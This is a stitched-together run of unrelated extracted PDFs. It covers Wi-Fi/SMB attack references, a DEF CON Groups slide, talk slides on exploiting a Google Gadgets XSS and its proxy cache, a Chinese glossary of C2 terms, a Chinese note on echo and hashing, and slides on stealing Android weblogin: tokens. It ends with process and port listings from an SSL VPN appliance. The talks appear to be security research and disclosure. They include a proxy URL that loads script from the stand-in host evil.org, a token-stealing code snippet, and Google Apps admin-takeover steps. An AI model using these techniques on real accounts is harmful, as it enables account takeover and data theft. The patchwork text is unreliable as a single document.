NJyZfYMtj72S6WDlQPyl7vgQYy14fu-5t3mssAfFhmQo_bl6OYyqK5dENUGHee- 40daHWqAem3m2dWJd6jNeuP9ZSnaezoRkarq_s8J92z3SJMEXdxdAUkF1nMzRoaCPeG 2anVCQ1tSxB8Uupviji6Pom1xr10aRuISitMk7bfMmAQ00VBESXW7lWkM1veZMlNA24Npc KkmcdvF3u_R21u_b_pkEAGIJ0&attredirects=0 References: [12] https://www.blackhat.com/presentations/bh-dc-07/Arkin/Presentation/bh-dc-07-Arkin- ppt-up.pdf [13] https://www.sans.org/reading-room/whitepapers/analyst/securing-personal-mobile- device-next-gen-network-access-controls-35627 [14] [15] https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing- covering-both-smb1-and-smb2/ References: [16] https://blog.gdssecurity.com/labs/2013/2/5/resurrecting-wifitap.html [17] http://sid.rstack.org/static/articles/w/i/f/Wifitap_README_202c.html [18] https://www.aircrack-ng.org/doku.php?id=airtun-ng [19] https://www.aircrack-ng.org/doku.php?id=tkiptun-ng [20] http://www.ietf.org/rfc/rfc1001.txt [21] http://www.rfc-editor.org/rfc/rfc1002.txt References: [22] https://msdn.microsoft.com/en-us/library/dd240328.aspx [23] https://www.trustwave.com/Resources/SpiderLabs-Blog/Introducing-Responder-1-0/ [24] https://www.cylance.com/redirect-to-smb [25] https://technet.microsoft.com/en-us/library/dd283093(v=ws.10).aspx [26] https://msdn.microsoft.com/en-us/library/dd759173(v=ws.11).aspx [27] https://framebyframewifi.net/2017/01/29/use-lets-encrypt-certificates-with-freeradius/ References: [28] https://docs.microsoft.com/en-us/windows/configuration/manage-wifi-sense-in- enterprise [29] https://technet.microsoft.com/en-us/library/cc957983.aspx [30] https://www.helpnetsecurity.com/2017/04/26/lure10-exploiting-wi-fi-sense/ [31]http://web.archive.org/web/20160203043946/https://www.cloudcracker.com/blog/2012/0 7/29/cracking-ms-chap-v2/ [32] http://crack.sh/bsideslv2017.pdf [33] https://crack.sh/
pdf
• • • • • • • • • • REVIEW THE POST AT: HTTPS://DEFCONGROUPS.ORG/DCGSTART.HTML • • IT'S BASED ON LOCAL PHONE CODES FROM • YOU CANNOT BE DC042 OR DC666 OR DC11010100011 • • BASED ON DIALING CODES AND AREA CODE *FROM THE USA* • E.G. EDMONTON, CANADA = DC780 BECAUSE OF NORTH AMERICA, BILDA, ALGERIA = DC11213 (21 IS COUNTRY CODE, 3 IS CITY CODE) • • THE DESIGNATION IS DC###-A, -B, ETC. • • (JUST LIKE COCA-COLA, FORD, ETC – THEY DO NOT LET YOU USE THEIR LOGO) • • • • • (THANK YOU FOR YOUR PATIENCE!) • • (RE: AUTOREPLY LOOPS) • • PLAIN TEXT ONLY! • NOT PDF, DOCX, ETC. • IMAGE FILES ARE THE EXCEPTION (FOR LOGOS, OTHER PHOTOS) • • Q&A WITH THE DCG CORE TEAM • • SHARE IDEAS WITH OTHER GROUPS • PROJECTS, MEETING SPACES, HOW DO YOU “MARKET” YOUR GROUP? • MEET OTHER DCGS!
pdf
Xploiting Google Gadgets: Gmalware and Beyond Robert Hansen Tom Stracener DRAFT: Complete slides will be made available after our talk. The Dark Side of Gadgets Complete slides will be made available after the our talk on August 8th. Xploiting Google Gadgets: Gmalware and Beyond Tom Stracener & Robert Hansen (Rsnake) If today’s malware mostly runs on Windows because it’s the commonest executable platform, tomorrow’s will likely run on the Web, for the very same reason. Because, like it or not, Web is already a huge executable platform, and we should start thinking at it this way, from a security perspective. PDP, Architect, GNUCITIZEN, quoting Giorgio Maone XSS hole in gmodules.com Vulnerability documented by Rsnake in 2007 “http://ha.ckers.org/blog/20070817/xss-hole-in-google-apps-is- expected-behavior/”” XSS was never fixed and is never going to be fixed Rsnake reported the vulnerability to Google and finally Disclosed its existence to the public after dialog with google Those of you that havent read Rnsake’s blog are probably wondering why? Cross-Site Scripting is a serious vulnerability, so why was it ignored? XSS So what? Execute arbitrary code “Use javascript and HTML to craft custom payloads” Content Spoofing “Make users believe that content is legitimate when in fact it is controlled by an attacker with malicious intent.” Phishing “Steal user passwords by faking login portals to web- based services, devices, or web sites.” Arbitrary Javascript executes whenever the user follows a link to the gadget or if the gadget is embedded within a web page. XSS is Expected Behavior… Google’s Argument (one line) We need javascript, we can’t turn it off, so arbitrary execution of javascript is part of the expected behavior On further review, it turns out that this is not a bug, but instead the expected behavior of this domain. Javascript is a supported part of Google modules, as seen, for example, here: http://www.google.com/apis/maps/documentation/mapplets/#Hello_World_of_Mapplets. Since these modules reside on the gmodules.com domain instead of the Google domain, cross-domain protection stops them from being used to steal Google-specific cookies, etc. If you do find a way of executing this code from the context of a google.com domain, though, please let us know. Google’s Argument Google’s Reasoning is as flawed… We are going to spend a few minutes and take their reasoning apart piece by piece and then show you why they are wrong. Google’s Argument Our Format is designed to help you follow the logic flow (shown below) Premise (Source): Content We have done our best to faithfully summarize Google’s position from the dozens of emails we we have exchanged. Google’s Reasoning about the XSS Vuln (Domain Argument) Premise(Google): Gmodules is a different domain From Google or Gmail. Premise (Google): You can only attack Gmodules with this vulnerability Conclusion (Google): The vulnerability is insignificant Response: This begs the questions that there is nothing worth exploiting on gmodules, and that phishing attacks should not be a concern. Google’s Reasoning about the XSS Vuln (Resemblance Argument) Premise(Google): Gmodules does not look like a Google domain Premise(Google): Users who would follow a link to Gmodules (a google domain) would be just as likely to follow a link to BadGmodules (not a Google domain). Conclusion(Google): Fixing the vulnerability would not reduce risk to the user Response: Does Gmail look like a Google domain? Google’s Reasoning about the XSS Vuln (Expected Behavior) Premise(Google): Gmodules needs javascript to serve and cache Gadgets Premise(Google): There is no harm in using javascript to host our Gadgets Conclusion(Google): The XSS is expected behavior and should not be fixed. Response: The issue is 1) not javascript, but javascript security. 2) Placing additional security measures could make the hosted code more Secure. 3) The current architecture creates an environment of significant risk. Impact of Gmodules XSS 1. Attackers can exploit the Gmodules XSS to attack Google Gadgets and potentially the users desktop 2. Attackers can use Gmodules as a place to host their malware This makes it virtually impossible to tell bad or dangerous gmodules code from good or safe code. 3. Attackers can use gmodules as a host for Phishing sites Understanding Part of a new world view of how the web should operate… Gadgets are often talked about in ideological terms Gadgets Google Seed Money! Google Gadgets Overview 1. Simple to build “” create gadgets that include tabs, Flash content, persistent storage, dynamic resizing, and more” 2. Access and Run on Multiple Sites “Your gadget can run on multiple sites and products including iGoogle, Google Maps, Orkut, or any webpage.” 3. Reach Millions of Users “Gadgets are viewed millions of times per week and generate significant traffic” Gadgets Social Design “OpenSocial is built upon gadgets,so you can build a great viral social app with little to no serving costs.” • Viral Spread via ‘Social Graph’ Gadget-as-a-Meme 2. Decentralized Architecture Distributed Processing Gadget-as-an-Agent 3. Content Rich, Self-Expression Gadget-as-Expression http://code.google.com/apis/opensocial/articles/bestprac.html Gadgets Social Design 4. Dynamic, Organic Change Gadget-as-an-Organism 5. Expose the Activity Stream Gadget-as-’Social Information’ Gadget-as-a-’Record of Activity’ 6. Browse the Social Graph Gadget-as-Graph - Monitoring without centralization http://code.google.com/apis/opensocial/articles/bestprac.html Gadgets Social Design 7. Drive Interactions and Communication Gadget-as-Communication 8. Build Relationships and Communities Gadget-as-a-Community 9. Solve Real World Tasks Gadget-as-Tool - Problem Solving - Revenue Generating http://code.google.com/apis/opensocial/articles/bestprac.html Types of Google Gadgets 1. Gadgets for iGoogle 3. Gadgets for the web 5. OpenSocial API 7. Desktop Gadgets http://code.google.com/apis/gadgets/ High Level Security Concerns Gadgets can be easily weaponized into attack tools or payloads Gadgets are largely 3rd party code and potentially malicious Gadgets can attack other gadgets, the desktop, or web sites Gadgets can have (most of) the same vulnerabilities as web applications Disturbing Disclaimers: Gadget FAQ What if my Gadget is broken or displays offensive or inappropriate content? Gadgets Threat Model • Javascript/HTML/Script Injection -Gadget-to-Gadget Vectors -Gadget-to-Desktop Vectors 2. Defacement -Content/Data Manipulation Attacks 3. Poisoning -Data Pollution -Social Graph Attacks -’click fraud’ correllaries Gadgets Threat Model 4. Content/Gateway Spoofing -Masquerading, Redirection -Gateways to other apps -Phishing 5. Surveillance/Spyware -Spyware/Adaware -User tracking/monitoring -Unauthorized Data collection & Export 6. Exposures -Exposing “low-interaction” user data -Personal information theft + leaks Gadgets Threat Model 7. Malware “Gmalware” -targeted attacks, DDOS -Cookie Theft, Zombies -Exploits, Wrappers -Browser attacks + Hijacking 8. Worms -Social Networks 9. Abusive/Coercive Functionality -Tracking gadgets, privacy concerns, unfriendly gadgets Developer Humor Lets run this with the “Do Evil” Option… Take a close look at the Gadget’s Options. Someone at Google has a sense of humor… Advanced API hxxp://desktop.google.com/en/dev/advancedapi.html Example Gadgets and POCs We will discuss example gadgets in several Categories. • Not every Gadget or Gmalware we will discuss has a POC • Gadgets are introduced in no particular order • Gadgets fall into general categories (e.g., Gmalware, WHGs) The People’s Gadget… Crackdown Gadget.. The People’s Gadget… Crackdown Gadget.. The People’s Gadget… M.U.S.H.U! • Monitors feeds/web sites for subversive content • Uploads search terms and IP address to state server • Spiders Web Sites from which content originates and determines how “Red” a domain is • Hinders freedom movements and suppresses Anti- Communist rhetoric • Updates state database with data from the “Social Grid” Yahoo Site Explorer Spider Gadget 1. Port of PDPs Yahoo Spider Gadget 3. Client-Side JS Spider The Page Data service allows you to retrieve information about the subpages in a domain or beneath a path that exist within the Yahoo! index. On this page you will find a small POC (Proof of Concept) of a client-side (only JavaScript) spider that is based on the top of Yahoo Site Explorer PageData service 2. Gadget We created a gadget for PDPs spider example Simple PHP Spider Gadget http://www.seoish.com/spider-simulator-google-gadget/ Gadget Spider http://www.seoish.com/spider-simulator-google-gadget/ 1. Demonstrates ability to call an external PHP script to include functionality within a Gadget 3. Gadget Code & Spider Code is available for download 2. One of a number of useful web hacking Gadgets we’ve ported Simple PHP Spider Configuration Results We fetch a PHP script within the Gadget Yahoo Site Explorer Spider Gadget (pSpider) hxxp://exgenesis.com/wonderbread/pspider.xml Configuration Results JS Port Scanner Gadget Gadget Port Scanner 1. Demonstrates port scanning via a javascript embedded within a gadget 2. We ported PDPs nice JS Scanner to a Gadget 3. Port Scanner Gadget code is available for download JS Port Scanner Gadget 1. pScan Configuration Results Gmodules Proxy Cache • Vulnerabilities & Insecure Design – Proxy is linked to Gadgets functionality for caching purposes when a Gadget is hosted. – Can be used to cash arbitrary javascript/HTML rather than just gadgets. Caches code from any domain. – Allows ‘one click’ JS execution – JS malware persistence hxxp://gmodules.com/ig/proxy?url= What is the gmodules Proxy Cache? • Use of Public Gmodules proxy results in the caching of content on the users machine hxxp://gmodules.com/ig/proxy?url=www.evil.org • Arbitrary javsascript executes and is cached by the proxy on the local machine • Locally cached content can be accessed by the originating URL • Designed for use by Gadgets but can be misused in the payload of any XSS or Phishing attack to give persistence to the payload Implications of the gmodules Proxy Cache for Gmalware? • Any javascript construct on the proxied page executes • Javascript can re-open a connection to the proxy cache and content will be reactivated • Persistence: Malicious javascript can remain active indefinitely until reboot. Cross-Gadget Attacks We have recorded a movie of Robert’s attack 1. Gadgets can attack one another, steal cookies and/or data, manipulate the content of other gadgets.
pdf
Beacon、Payload、Shellcode我傻傻分不清 1. 前言 有一段时间我发现好多安全从业者,也包括我,分不清楚C2工具中的一些名词,包括:Beacon、 Payload、Shellcode、Loader、Stager、Stagerless等。没办法都是舶来品,洋大人的文章中有时候也 是乱用的,更不要说国内的相关文章,导致大家对以上词汇的理解出现了分歧。然后就出现了相互交流 的时候鸡同鸭讲的情况,以下是我对这些词汇的理解,有分歧欢迎讨论。 2. Beacon和Payload 前段时间看见这么一段话: 没有任何贬低和攻击的意思,我私信作者讨论了下,关于什么是Beacon。 Beacon字面意思是信标,主要功能有:心跳和执行方法。你可以把它理解成一个灯塔,在不停的 闪烁,发出“我在这儿、我在这儿”的信号。 心跳:按照设定的时间周期和抖动不断的发送基本信息回控制端。 执行方法:接受具体功能代码后,执行这些代码的方法。 Payload字面意思是有效载荷(卫星或航天器携带的仪器设备等)。Payload被用在了很多地方, 也是最让人傻傻分不清的名词。所有被承载的物品都能叫做Payload,因此: 用Loader执行Shellcode,Shellcode可以被叫做Payload 用DLL反射方法执行一个反射DLL文件,反射DLL文件可以叫做Payload 在CS中你使用键盘记录功能,传给Beacon一个键盘记录的反射DLL,这个反射DLL可以叫做 Payload 所以,说Beacon是一个Payload也没有多大问题。 3. Shellcode和Loader 这俩经常组合在一起,在CS中有一个“Payload Generator”的选项,主要生成的就是Shellcode。这些 Shellcode没法作为可执行程序执行,需要Loader来执行它们。 Shellcode维基上被定义为一段用于利用软件漏洞而执行的代码,这段代码通常的功能是获得一个 shell,因此得名Shellcode。但是现在意义被扩大了很多。主要是以下2个特点: 与位置无关的代码(PIC) 无法独立执行 Loader就是字面意思加载器。通常被用来对抗杀软,从静态特征到动态沙盒。Loader的实现也是 千奇百怪,从不同语言到不同执行方法,根据加载的内容的不同,有PE Loader、Shellcode Loader、反射DLL Loader等等。 4. Stage、Stageless 分阶段和不分阶段,在实际红队工作中,很多时候不能在目标上执行过大的代码和文件,因此出现了, 用一个小一点的代码去拉取更大的功能代码的情况。我们把这个一段一段的拉去代码执行的过程叫分阶 段执行,因此出现了Stage(分阶段)和Stageless(不分阶段)这两个词。这其实很好理解,但伴随出现的 Stager、Stagerless,让人有点傻傻分不清了。 Stager,主要指用于执行下一阶段代码的相关代码,有点拗口。 Stagerless,这个词语应该是国人创造的,我想说用Stageless就好。 5. 以CobalStrike为例 CS的分阶段加载过程: 总的来说:“能用中文说清楚的别抖英文”。
pdf
1 Linux下echo计算哈希的坑 因为遇到好⼏次了,每次都忘记,搞得要怀疑⼈⽣⼏分钟,故简单记录下避免下次⼜⼊坑。 linux下常⽤的计算的哈希命令: md5sum sha256sum 但是这两个命令读取的是参数指定的⽂件名,或者是标准的输⼊。 那么如果我们想加密单个字符串的时候,⼀般会这样利⽤管道符来使⽤: 1. echo '123' |md5sum 2. echo '123'|sha256sum 得到的是: 123 -> md5 -> ba1f2511fc30423bdbb183fe33f3dd0f 123 -> sha256 -> 181210f8f9c779c26da1d9b2075bde0127302ee0e3fca38c9a83f5b1dd 8e5d3b 我们使⽤Python计算下就可以发现⼀个有趣的现象: 2 真是情况是: 123 -> md5 -> 202cb962ac59075b964b07152d234b70 123\n 对应的才是 ba1f2511fc30423bdbb183fe33f3dd0f ,那么问题出在了哪⾥呢? 观察图⽚可以看到输出换⾏了,原因就是: 默认的echo输出会在字符串的末尾加上⼀个换⾏符 那么怎么解决这个问题呢,通过查看 man echo ,可以知道加上 -n 参数就可以不输出末尾的的换⾏ 符 问题解决: Python 复制代码 import hashlib print(hashlib.md5("123".encode()).hexdigest()) print(hashlib.md5("123\n".encode()).hexdigest()) 1 2 3 3
pdf
Android weblogin: Google's Skeleton Key Craig Young, Tripwire VERT # whoami I research, identify, and disclose vulnerabilities as a senior researcher in Tripwire VERT. I enjoy long bike rides, breaking things which fail to sanitize input, and building furniture with my wife on the weekend. DISCLAIMER: I am definitely not an Android developer. Talk Overview (tl;dr) 1. Android trades security for convenience 2. weblogin: can bypass password prompts 3. Security tools do not detect token egress 4. 1 token can fully compromise Google Apps About weblogin: ● Android Token Type: weblogin:service=youtube&continue=https://www.youtube.com/ ● Grants cookies for the desired service ● Acts in lieu of password entry Abusing weblogin: ● Cookies obtained are not limited by service ○ App may ask for YouTube and then read your email ○ Android permission prompts are misleading ○ i.e. a YouTube token also gives access to GMail ● Prompt is once per app per token type ● Root or physical access is also token access HOWTO: Hack Google Apps 1. Retrieve weblogin: token for domain admin 2. Access domain control panel ○ www.google.com/a/domain.com 3. Get drunk (with power) Using the Skeleton Key ● Admin weblogin: gives a lot of control: ○ Disable 2-Step Verification / Reset Password ○ Reveal Temporary Passwords ○ Create and Modify Privileges/Roles ○ Create/Control Mailing Lists on Target Domain ○ Generate Domain Reports What About GMail? ● Personal Google accounts are also at risk: ○ Full access to Google Drive, Calendar, GMail, etc. ○ Ability to add recovery address and change password ○ Account setting manipulation for espionage Ways to Obtain weblogin: 1. Legitimate Android Token Request 2. Direct Account DB Query (root access) 3. Physical Device Access (auto sign-in) 4. Extract DB from Device Memory PoC App Iterations 1. TubeApp: Retrieve Domain OAuth secret ○ Advertised as a YouTube downloader ○ Does not upload credentials 2. Stock View: Steal weblogin: tokens ○ Advertised as a Stock Viewer ○ weblogin: token is uploaded via HTTP/HTTPS Stock Viewer PoC Objectives 1. Make Token Stealing App without root ○ App requests access to Google Finance (stock ticker) ○ 2 tokens requests == 1 for device + 1 for attacker 2. Publish App in Google Play ○ Will Bouncer allow the token request? ○ Will Bouncer detect that the app is malicious? 3. Scan with Android Security Software ○ Do privacy advisors recognize the threat? ○ Does the token theft get blocked? Making the App ● Crux of the biscuit: TOKEN_TYPE = \ "weblogin:service=finance&continue=https://finance.google.com/"; getAuthToken(acct, TOKEN_TYPE, null, this, new TokenCallback(), null); ● getAuthToken() generates an uninformative prompt: App Revisions ● TubeApp ○ PoC to show OAuth Consumer Secret retrieval ○ Never posted to Play ● Stock View V1 ○ Description indicates it is for testing only ○ Price is $150 ○ Uploads token if permitted ● Stock View V2 ○ Description updated to convey that it is spyware ○ HTTPS added ○ Uploads all available account details ○ Uploads token if permitted App Permissions On Install → On Run ↓ App Results ● Google Play Publication Worked! ○ Nothing was flagged upon submission ○ No data received indicating Bouncer execution New Questions: Does Bouncer run all apps? Does Bouncer run with Google accounts? Does Google do any manual review at all? Stock Viewer in Google Play Play Store Retrospective ● The app was live on Google Play for a month ● Android Verify now detects it as spyware End-Point Protection? ● Antivirus/Privacy Advisors ○ Scanned with 5 popular tools ■ Lookout - Safe ■ Norton - No Risk ■ Sophos - Clean ■ Avast - Zero Problems ■ Trend Micro Mobile Security - No Threats Found ● Privacy Advisors ○ Avast Lists it as having account access ○ Lookout Premium did not report access to tokens DEMO Don't Be a Victim ● Never use an admin account on Android ● Be very skeptical of token requests ○ weblogin: as well as LSID/SID ● Avoid downloading apps outside of Play ● Run Antivirus to detect root exploits Incident Response ● Punt the intruder: ○ Invalidate all sign-in cookies ○ Reset password(s) ● Review affected accounts for: ○ New mail forwarding rules ○ New recovery email address ○ New domain admins ● Analyze Google Apps audit trail: ○ Identify which actions were unauthorized ○ Record IP addresses used by intruder Further Reading Here are some helpful references to learn more: http://nelenkov.blogspot.com/2012/11/sso-using-account-manager.html https://www.brighttalk.com/webcast/7651/69283 https://blog.duosecurity.com/2013/02/bypassing-googles-two-factor- authentication/ Questions? Follow @CraigTweets
pdf
[root@sslvpn /]# netstat -tulnp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:9990 0.0.0.0:* LISTEN 25124/node tcp 0 0 0.0.0.0:51111 0.0.0.0:* LISTEN 20491/updateme tcp 0 0 0.0.0.0:4009 0.0.0.0:* LISTEN 11698/lmdlan tcp 0 0 127.0.0.1:51981 0.0.0.0:* LISTEN 11698/lmdlan tcp 0 0 0.0.0.0:909 0.0.0.0:* LISTEN 24905/dualserver tcp 0 0 0.0.0.0:6001 0.0.0.0:* LISTEN 25107/boa tcp 0 0 0.0.0.0:6002 0.0.0.0:* LISTEN 25107/boa tcp 0 0 0.0.0.0:8118 0.0.0.0:* LISTEN 1867/nginx: master tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 512/sshd: /usr/sbin tcp 0 0 0.0.0.0:442 0.0.0.0:* LISTEN 25291/pipd tcp 0 0 127.0.0.1:7005 0.0.0.0:* LISTEN 25338/redis-server tcp 0 0 172.17.59.167:7005 0.0.0.0:* LISTEN 25338/redis-server tcp 0 0 127.0.0.1:1981 0.0.0.0:* LISTEN 21322/logs tcp6 0 0 :::1000 :::* LISTEN 23137/conhttpd tcp6 0 0 :::4430 :::* LISTEN 23137/conhttpd tcp6 0 0 :::8848 :::* LISTEN 529/httpd tcp6 0 0 :::22 :::* LISTEN 512/sshd: /usr/sbin tcp6 0 0 :::443 :::* LISTEN 529/httpd udp 0 0 0.0.0.0:909 0.0.0.0:* 24905/dualserver udp 0 0 0.0.0.0:54179 0.0.0.0:* 25341/session_check udp 0 0 0.0.0.0:35849 0.0.0.0:* 25712/proxyworker udp 0 0 0.0.0.0:58385 0.0.0.0:* 25329/proxyworker udp 0 0 0.0.0.0:33893 0.0.0.0:* 24803/proxy udp 0 0 0.0.0.0:54409 0.0.0.0:* 25124/node udp 0 0 0.0.0.0:48291 0.0.0.0:* 383/dnsd udp 0 0 0.0.0.0:7359 0.0.0.0:* 11698/lmdlan udp 0 0 0.0.0.0:58564 0.0.0.0:* 25319/proxyworker udp 0 0 0.0.0.0:52451 0.0.0.0:* 25328/proxyworker udp 0 0 0.0.0.0:56582 0.0.0.0:* 24819/alarmmailsnd udp 0 0 0.0.0.0:36148 0.0.0.0:* 25316/proxyworker udp 0 0 0.0.0.0:56738 0.0.0.0:* 24815/node udp 0 0 0.0.0.0:56778 0.0.0.0:* 25318/proxyworker udp 0 0 0.0.0.0:36394 0.0.0.0:* 1082/svcstaytraced udp 0 0 0.0.0.0:48699 0.0.0.0:* 25153/tsmanager udp 0 0 0.0.0.0:44672 0.0.0.0:* 25705/redis_counter udp 0 0 0.0.0.0:54956 0.0.0.0:* 24672/AuditLogs udp 0 0 0.0.0.0:38574 0.0.0.0:* 25221/pipc udp 0 0 0.0.0.0:46796 0.0.0.0:* 25128/importldap udp 0 0 0.0.0.0:40684 0.0.0.0:* 25317/proxyworker udp 0 0 127.0.0.1:61234 0.0.0.0:* 25250/node udp 0 0 0.0.0.0:34645 0.0.0.0:* 25152/mdmd udp 0 0 0.0.0.0:51111 0.0.0.0:* 21278/findme udp 0 0 0.0.0.0:4009 0.0.0.0:* 11698/lmdlan udp 0 0 127.0.0.1:1980 0.0.0.0:* 21322/logs udp 0 0 127.0.0.1:1983 0.0.0.0:* 21322/logs udp 0 0 127.0.0.1:2001 0.0.0.0:* 11698/lmdlan udp 0 0 127.0.0.1:2002 0.0.0.0:* 25280/fwserver udp 0 0 127.0.0.1:2004 0.0.0.0:* 26236/MLineDetect udp 0 0 127.0.0.1:2005 0.0.0.0:* 25195/dosckctl udp 0 0 127.0.0.1:2008 0.0.0.0:* 24951/monitor_smbne sslvpn 0x00 0x01 udp 0 0 127.0.0.1:2009 0.0.0.0:* 25928/iptun udp 0 0 127.0.0.1:2011 0.0.0.0:* 24888/safercD udp 0 0 0.0.0.0:49128 0.0.0.0:* 25291/pipd udp 0 0 0.0.0.0:49220 0.0.0.0:* 31168/node udp 0 0 0.0.0.0:57413 0.0.0.0:* 25109/timeqry udp 0 0 0.0.0.0:47194 0.0.0.0:* 25240/vssoproxy udp 0 0 127.0.0.1:2224 0.0.0.0:* 383/dnsd udp 0 0 0.0.0.0:43313 0.0.0.0:* 529/httpd udp 0 0 0.0.0.0:35188 0.0.0.0:* 25330/proxyworker udp 0 0 172.17.59.167:4500 0.0.0.0:* 11698/lmdlan udp 0 0 0.0.0.0:442 0.0.0.0:* 25928/iptun udp 0 0 0.0.0.0:41456 0.0.0.0:* 31155/node udp 0 0 172.17.59.167:500 0.0.0.0:* 11698/lmdlan udp 0 0 0.0.0.0:514 0.0.0.0:* 20413/rsyslogd udp 0 0 0.0.0.0:35516 0.0.0.0:* 25225/pppd_angel udp 0 0 0.0.0.0:33473 0.0.0.0:* 995/sys_state udp 0 0 0.0.0.0:58049 0.0.0.0:* 32692/arpnotify udp 0 0 0.0.0.0:53994 0.0.0.0:* 25104/svrhost udp 0 0 0.0.0.0:56093 0.0.0.0:* 383/dnsd udp 0 0 0.0.0.0:37719 0.0.0.0:* 2707/schedule udp 0 0 0.0.0.0:60273 0.0.0.0:* 18970/svcfiletraced udp 0 0 0.0.0.0:35707 0.0.0.0:* 24871/ssllogs udp6 0 0 :::514 :::* 20413/rsyslogd [root@sslvpn /]# [root@sslvpn cgi-bin]# ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 Mar13 ? 00:00:03 /usr/lib/systemd/systemd --switched-root --system --deserialize 20 root 2 0 0 Mar13 ? 00:00:00 [kthreadd] root 3 2 0 Mar13 ? 00:00:00 [ksoftirqd/0] root 5 2 0 Mar13 ? 00:00:00 [kworker/0:0H] root 7 2 0 Mar13 ? 00:00:01 [migration/0] root 8 2 0 Mar13 ? 00:00:00 [rcu_bh] root 9 2 0 Mar13 ? 00:00:00 [rcuob/0] root 10 2 0 Mar13 ? 00:00:00 [rcuob/1] root 11 2 0 Mar13 ? 00:00:06 [rcu_sched] root 12 2 0 Mar13 ? 00:00:06 [rcuos/0] root 13 2 0 Mar13 ? 00:00:06 [rcuos/1] root 16 2 0 Mar13 ? 00:00:01 [migration/1] root 17 2 0 Mar13 ? 00:00:00 [ksoftirqd/1] root 19 2 0 Mar13 ? 00:00:00 [kworker/1:0H] root 20 2 0 Mar13 ? 00:00:00 [khelper] root 21 2 0 Mar13 ? 00:00:00 [kdevtmpfs] root 22 2 0 Mar13 ? 00:00:00 [netns] root 23 2 0 Mar13 ? 00:00:00 [perf] root 24 2 0 Mar13 ? 00:00:00 [writeback] root 25 2 0 Mar13 ? 00:00:00 [kintegrityd] root 26 2 0 Mar13 ? 00:00:00 [bioset] root 27 2 0 Mar13 ? 00:00:00 [kblockd] root 28 2 0 Mar13 ? 00:00:00 [md] root 34 2 0 Mar13 ? 00:00:00 [khungtaskd] root 35 2 0 Mar13 ? 00:00:00 [kswapd0] root 36 2 0 Mar13 ? 00:00:00 [ksmd] root 37 2 0 Mar13 ? 00:00:00 [fsnotify_mark] root 38 2 0 Mar13 ? 00:00:00 [crypto] root 47 2 0 Mar13 ? 00:00:00 [kthrotld] root 49 2 0 Mar13 ? 00:00:00 [kmpath_rdacd] root 50 2 0 Mar13 ? 00:00:00 [kpsmoused] root 51 2 0 Mar13 ? 00:00:01 [kworker/0:2] root 52 2 0 Mar13 ? 00:00:00 [ipv6_addrconf] root 71 2 0 Mar13 ? 00:00:00 [deferwq] root 103 2 0 Mar13 ? 00:00:00 [kauditd] root 221 2 0 Mar13 ? 00:00:00 [ata_sff] root 225 2 0 Mar13 ? 00:00:00 [scsi_eh_0] root 226 2 0 Mar13 ? 00:00:00 [scsi_tmf_0] root 229 2 0 Mar13 ? 00:00:00 [scsi_eh_1] root 230 2 0 Mar13 ? 00:00:00 [scsi_tmf_1] root 249 2 0 Mar13 ? 00:00:00 [kworker/0:1H] root 250 2 0 Mar13 ? 00:00:00 [kworker/1:1H] root 255 2 0 Mar13 ? 00:00:00 [kjournald] root 325 1 0 Mar13 ? 00:00:00 /usr/lib/systemd/systemd-journald root 357 1 0 Mar13 ? 00:00:00 /usr/lib/systemd/systemd-udevd root 383 1 0 Mar13 ? 00:00:00 /sf/app/dnsd/dnsd root 407 2 0 Mar13 ? 00:00:00 [events_power_ef] root 409 2 0 Mar13 ? 00:00:00 [vballoon] root 412 2 0 Mar13 ? 00:00:00 [ttm_swap] root 460 2 0 Mar13 ? 00:00:00 [kjournald] root 467 2 0 Mar13 ? 00:00:00 [kjournald] root 471 2 0 Mar13 ? 00:00:00 [kjournald] root 476 2 0 Mar13 ? 00:00:00 [kjournald] root 485 1 0 Mar13 ? 00:00:00 /sbin/auditd -n root 510 1 0 Mar13 ? 00:00:00 /usr/lib/systemd/systemd-logind root 512 1 0 Mar13 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups dbus 514 1 0 Mar13 ? 00:00:00 /bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --s ystemd-activation root 529 1 0 Mar13 ? 00:00:00 /sf/app/apache_portal/bin/httpd -k start -DD_sp_modules -DD_mod_por_s tay_trace -DD_mod_res_hash root 532 1 0 Mar13 tty1 00:00:00 /sbin/agetty --noclear tty1 linux root 533 1 0 Mar13 tty2 00:00:00 /sbin/agetty --noclear tty2 linux root 534 1 0 Mar13 ? 00:00:00 /usr/sbin/crond -n root 995 1 0 Mar13 ? 00:00:11 /sf/app/sys_state/sys_state root 1082 1 0 Mar13 ? 00:00:00 /sf/app/svcstaytraced/svcstaytraced nobody 1161 529 0 Mar13 ? 00:00:01 /sf/app/apache_portal/bin/httpd -k start -DD_sp_modules -DD_mod_por_s tay_trace -DD_mod_res_hash nobody 1166 529 0 Mar13 ? 00:00:01 /sf/app/apache_portal/bin/httpd -k start -DD_sp_modules -DD_mod_por_s tay_trace -DD_mod_res_hash root 1867 1 0 Mar13 ? 00:00:00 nginx: master process /sf/app/nginx/nginx/sbin/nginx nobody 1876 1867 0 Mar13 ? 00:00:00 nginx: worker process nobody 1877 1867 0 Mar13 ? 00:00:00 nginx: worker process nobody 1878 1867 0 Mar13 ? 00:00:00 nginx: cache manager process root 2707 1 0 Mar13 ? 00:00:00 /sf/app/schedule/schedule root 4583 1 0 Mar13 ? 00:00:03 /bin/bash /sf/sbin/monitor_heart.sh root 4685 2707 0 Mar13 ? 00:00:00 /sf/app/schedule/schedule root 5756 25570 0 Mar13 tty7 00:00:00 dialog --title Sangfor SSL VPN --menu Application Manager is at https ://172.17.59.167:4430 13 42 5 1 Network Setup Wizard 2 Show Current Network Settings 3 Ente root 7370 2 0 01:07 ? 00:00:00 [kworker/u4:1] root 7664 1 0 00:31 ? 00:00:00 /usr/sbin/ids.d/dynamic_ftraced root 10523 19273 0 01:09 ? 00:00:00 sleep 1185 root 11698 1 0 Mar13 ? 00:01:33 /sf/app/lmdlan/lmdlan ssldaemon root 13031 512 0 00:56 ? 00:00:00 sshd: admin@pts/0 root 13148 13031 0 00:56 pts/0 00:00:00 -bash root 15842 4583 0 01:12 ? 00:00:00 sleep 2 root 15885 13148 0 01:12 pts/0 00:00:00 ps -ef root 17375 2 0 00:37 ? 00:00:00 [kworker/u4:2] root 18165 2 0 Mar13 ? 00:00:00 [kworker/1:1] root 18795 2 0 01:00 ? 00:00:00 